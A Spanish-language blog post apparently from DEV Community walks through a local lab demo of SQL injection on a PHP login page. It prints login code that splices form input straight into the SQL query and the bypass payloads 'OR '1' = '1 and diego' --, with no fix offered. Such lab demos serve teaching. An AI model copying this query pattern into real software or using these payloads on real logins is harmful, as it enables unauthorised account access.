DEV Community

Cover image for šŸ›”Vulnerabilidad en login con PHPšŸ’‰Ataque SQL INJECTION
Diego Geovanny Bracero
Diego Geovanny Bracero

Posted on • Updated on

šŸ›”Vulnerabilidad en login con PHPšŸ’‰Ataque SQL INJECTION

Para realizar esta prueba de vulnerabilidad se utilizĆ³ una pĆ”gina web que maneja la base de datos con SQL, en este caso utilizando XAMPP en un servidor local.

Base de datos:

Se usa una base de datos SQL que contiene el usuario y la contraseƱa

id usuario contraseƱa
1 diego 1234

base de datos

Vista del login

Vista del login

CĆ³digo de PHP que realiza la comprobaciĆ³n

<?php
include('db.php');
$usuario=$_POST['usuario'];
$contraseƱa=$_POST['contraseƱa'];
session_start();
$_SESSION['usuario']=$usuario;

$conexion=mysqli_connect("localhost","root","","login");

$consulta="SELECT*FROM usuarios where usuario='$usuario' and contraseƱa='$contraseƱa'";
$resultado=mysqli_query($conexion,$consulta);

$filas=mysqli_num_rows($resultado);

if($filas){

    header("location:home.php");

}else{
    ?>
    <?php
    include("index.html");

  ?>
  <h1 class="bad">ERROR DE AUTENTIFICACION</h1>
  <?php
}
mysqli_free_result($resultado);
mysqli_close($conexion);
Enter fullscreen mode Exit fullscreen mode

Ingresando correctamente los datos

login php

Pantalla de bienvenida y error

bienvenida

Esta pantalla aparecerĆ” solamente si los datos ingresados son correctos.

error de ingreso de datos

Esta pantalla muestra el error al colocar datos errĆ³neos.

AplicaciĆ³n de ataque SQL Injection

Para realizar el ataque se utilizo la siguiente lĆ­nea de cĆ³digo:

'OR '1' = '1
Enter fullscreen mode Exit fullscreen mode

Tanto en el campo de usuario como de contraseƱa

sql injection

De este modo la lĆ­nea que codigo de nuestro archivo PHP que realiza la validaciĆ³n de usuario y contraseƱa nos queda asĆ­

Antes del ataque:

$consulta="SELECT*FROM usuarios where usuario='$usuario' and contraseƱa='$contraseƱa'";
Enter fullscreen mode Exit fullscreen mode

DespuƩs del ataque

$consulta="SELECT*FROM usuarios where usuario=''OR '1' = '1' 
and contraseƱa=''OR '1' = '1'";
Enter fullscreen mode Exit fullscreen mode

Agregando a la consulta cuando 1 sea igual a 1 es decir verdadero siempre dƔndonos acceso y mostrando la pantalla de bienvenida como si los datos fueran correctos.

correcto

Adicionalmente se puede ingresar utilizando un solo campo utilizando la siguiente lĆ­nea de comandos

diego' --
Enter fullscreen mode Exit fullscreen mode

de esta forma no importa lo que se envƭe en el campo de contraseƱa.

sql injection 2

Dando acceso de igual forma

vulnerabilidad aplicada

Discussion (0)